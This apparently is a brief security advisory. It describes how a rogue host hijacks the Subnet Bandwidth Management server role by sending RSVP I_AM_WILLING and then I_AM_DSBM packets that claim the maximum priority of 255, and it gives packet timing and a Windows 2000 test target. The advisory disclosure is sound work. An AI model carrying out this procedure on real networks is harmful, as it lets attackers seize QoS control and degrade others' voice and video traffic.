Subnet Bandwidth Management (SBM) Protocol subject to attack via the 
Resource Reservation Protocol (RSVP)


Introduction
------------

The resource reservation protocol (RSVP) is used within the Subnet 
Bandwidth Management protocol (RFC 2814) and is vulnerable to allowing a 
rogue host hijack control of a server via the use of priority assignemnt. 
By specifying a higher priority than the current RSVP server would allow 
the current server to be pre-empted and a rogue one take its place.

How the attack works
--------------------

Send I_AM_WILLING RSVP packets to be the resource resvervation protocol 
server to indicate that the the source host is willing to be a RSVP server.

Send I_AM_DSBM RSVP packets to indicate that the source address has a 
priority of 255 (1 byte - thus highest possible priority). If the server 
has a lower priority, it will be pre-empted and the source address will 
take over and act as the resource reservation server.  

For politceness four I_AM_WILLING packers are sent, followed by a 
I_AM_DSBM packet every five seconds after that. This should ensure that 
while the I_AM_DSBM packets are being sent the orignal RSVP server would 
not handle resoure priority assignment. Tested against a Windows 2000 RSVP 
server, but as this is a protocol attack it is assumed that would work 
against any RSVP server.

Further Attacks Possible
------------------------
A spoofed server could allow different hosts to have a different level of 
quality of service (QoS), either giving a higher level priority to a host 
or reducing the priority of a video link or a VoIP connection for example.
